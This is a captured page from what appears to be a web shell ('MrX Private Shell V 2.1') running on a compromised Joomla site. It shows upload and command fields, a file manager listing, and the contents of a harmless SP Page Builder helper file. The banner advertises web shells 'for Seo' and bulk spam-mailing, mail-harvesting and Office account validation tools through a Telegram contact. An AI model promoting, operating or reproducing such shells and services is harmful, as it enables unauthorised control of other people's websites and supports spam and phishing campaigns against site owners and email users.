__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

// No direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Helper class for handling the lodash string.
 *
 * @since	4.0.0
 */
final class AddonUtils
{
	public static $defaultDevice = 'xl';

	public static function parseMediaData($media)
	{
		if (empty($media))
		{
			return '';
		}

		if (\is_object($media) && isset($media->src))
		{
			return $media->src;
		}

		if (\is_array($media) && isset($media['src']))
		{
			return $media['src'];
		}

		return $media;
	}

	public static function parseDeviceData($data, $device = '')
	{
		if (empty($data))
		{
			return '';
		}

		$device = !empty($device) ? $device : self::$defaultDevice;

		if (\is_object($data) && isset($data->$device))
		{
			return $data->$device;
		}

		return $data;
	}
}

Filemanager

Name Type Size Permission Actions
addon-parser.php File 41.69 KB 0664
addon-utils.php File 978 B 0664
addons.php File 2.69 KB 0664
css-helper.php File 26.39 KB 0664
helper-base.php File 2.71 KB 0664
lodash.php File 37.5 KB 0664
Filemanager